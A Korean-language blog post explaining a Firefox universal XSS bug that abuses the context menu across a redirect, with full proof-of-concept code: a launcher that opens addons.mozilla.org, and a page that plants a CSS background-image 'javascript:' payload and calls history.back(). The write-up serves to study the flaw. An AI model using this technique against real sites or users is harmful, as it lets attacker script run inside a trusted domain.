Firefox XSS with Context menu(+css payload..)

Firefox XSS with Context menu(+css payload..)

in

주말 밤 트위터를 통해 재미난게 있나 구경하던 도중 익숙한 구문이 리트윗 되는 광경을 목격했습니다. 관련해서 링크 읽어보니 재미있는 상황이더군요. (https://leucosite.com/Firefox-uXSS-and-CSS-XSS/)

내용을 이야기하자면 오래된 XSS 테스팅 코드가 있는데, 현재에는 거의 막혀있습니다. 재미있는 버그 하나와 이 코드를 이용해서 XSS가 가능한 사례인데요. 가볍게 읽어보도록 합시다.

Context Menu?

보편적으로 우클릭 시 나타나는 메뉴를 지칭합니다. 오늘 내용이 이 Context menu와 관련이 있어 간략하게 소개합니다.

GUI Application에선 굉장히 편리한 메뉴이지요. (Burp extender 만드는데 이거땜에 조금 빡쳤..)

Bug!?

웹 브라우저, 즉 Javascript 상 Context 메뉴의 재미있는 점은 Context menu가 열린 상태에서 페이지가 이동되면 Context menu를 연 곳에 내용을 가지고 있다는 점입니다. Context menu가 열리고 페이지가 리다이렉션 될 때 소스보기로 보면 이동된 페이지가 아닌, 이동 시켜준 원본 페이지의 소스가 나타나게 됩니다.

<script>
  document.location.href="https://www.hahwul.com/p/introduction.html"
</script>
A(1.html)에서 Context menu를 열고 redirection으로 B(hahwul.com)으로 왔습니다.
Context menu의 소스보기를 누르면.. A의 소스가 열립니다!?

Vulnerability

이러한 점을 이용하여 A 사이트에서 Context menu로 공격코드를 불러오고(background-image가 여기서…쓰이다니) 이를 redirection 된 b 사이트에서 실행하여 해당 도메인의 영역에서 스크립트가 동작할 수 있게 해줍니다. 이렇게 동작하면 bookmarklet이나 debugger 계열 스크립트처럼 페이지 내부에 직접 삽입된 것과 동일한 효과를 가져 대상 도메인에서 코드가 동작할 수 있게 됩니다.

코드를 보면..

1초 간격 차이로 공격코드 페이지와 타겟 페이지를 띄웁니다. 이는 뒤 공격코드 페이지에서 history,back()으로 페이지를 넘겨 해당 도메인에서 코드가 실행되게 사용한 방법이죠.

<button id="qbutt">click me</button>

<script>
var qwin;

qbutt.onclick=e=>{
qwin=open('https://addons.mozilla.org/','qab'); // addons 사이트를 오픈, history.back() 시 되돌아갈 주소를 미리 만듬

setTimeout(function(){
open('imgXss.html','qab') // 1초 뒤 imgXss.html 파일을 오픈
},1000)
}
</script>

공격코드인 imgXss.html 파일입니다. 실제론 XSS 삽입 페이지 여러개로 구성할 수 있을듯합니다.

imgXss.html

<style>*{background-image:url('javascript:alert(location)')}</style>

<b> Right click, wait for redirection then click 'view background image'</b>

<script>
window.oncontextmenu=e=>{
setTimeout("history.back()",100) // 1초 뒤 뒤로 이동
}
</script>

아주 고전적인 공격코드인데, CSS에 배경 이미지 부분에 Javascript 코드를 넣습니다. 그리고 사용자에게 우클릭을 유도 후 view backgroudn image를 누르게 하여 Javascript를 실행하게 하는데요, 여기서 1초 뒤 history.back()으로 아까 addons 페이지로 넘깁니다. 그럼 Context menu는 공격코드쪽 페이지니 Javascript를 호출하도록 할 것이고 도메인은 Addons에서 동작하게 됩니다.